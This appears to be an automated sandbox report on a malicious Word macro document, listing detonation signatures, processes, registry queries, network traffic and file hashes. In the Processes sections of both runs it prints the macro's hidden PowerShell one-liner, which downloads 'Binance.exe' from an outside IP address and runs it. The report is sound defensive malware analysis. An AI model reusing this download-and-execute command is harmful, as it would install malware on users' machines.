Analysis Overview
SHA256
bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411
Threat Level: Known bad
The file bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Suspicious Office macro
Office macro that triggers on suspicious action
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-23 21:49
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-23 21:49
Reported
2024-07-23 21:50
Platform
win7-20240705-en
Max time kernel
24s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
Network
Files
memory/1712-0-0x000000002F801000-0x000000002F802000-memory.dmp
memory/1712-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1712-2-0x000000007108D000-0x0000000071098000-memory.dmp
memory/1712-6-0x0000000005A60000-0x0000000005B60000-memory.dmp
memory/1712-10-0x000000007108D000-0x0000000071098000-memory.dmp
memory/1712-11-0x0000000005A60000-0x0000000005B60000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-23 21:49
Reported
2024-07-23 21:50
Platform
win10v2004-20240704-en
Max time kernel
46s
Max time network
62s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 900 wrote to memory of 1728 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 900 wrote to memory of 1728 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| SE | 13.48.10.153:80 | 13.48.10.153 | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 153.10.48.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.17.178.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.17.209.140:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 140.209.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.211.222.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
Files
memory/900-0-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp
memory/900-1-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp
memory/900-2-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp
memory/900-4-0x00007FF918ACD000-0x00007FF918ACE000-memory.dmp
memory/900-3-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp
memory/900-6-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-7-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-8-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-5-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp
memory/900-9-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp
memory/900-10-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-12-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-13-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp
memory/900-17-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-18-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-16-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-15-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-14-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-11-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-28-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-29-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/1728-30-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pem5su41.thn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1728-34-0x0000019BCCBF0000-0x0000019BCCC12000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | 71720b3e8c0df10e152038cac04fc632 |
| SHA1 | 310801167d4b892bef94f39711efa53694c24b88 |
| SHA256 | 7884c3f3840160f2c33bb12b3f9eb4fcd8ec14bf261a19e5290ff2ea39aa5039 |
| SHA512 | e0c2815126e0a086b736e9ca1422bbc598f46261ba5b680704b28ae5ee87d7a0efb16185f5aab989416bf7c216900f0126909f81f31dd7d771cb2cf68eedf6e9 |
C:\Users\Admin\AppData\Local\Temp\TCD52A7.tmp\gb.xsl
| MD5 | 51d32ee5bc7ab811041f799652d26e04 |
| SHA1 | 412193006aa3ef19e0a57e16acf86b830993024a |
| SHA256 | 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97 |
| SHA512 | 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810 |
memory/900-169-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/900-170-0x00007FF918A30000-0x00007FF918C25000-memory.dmp
memory/1728-171-0x00007FF918A30000-0x00007FF918C25000-memory.dmp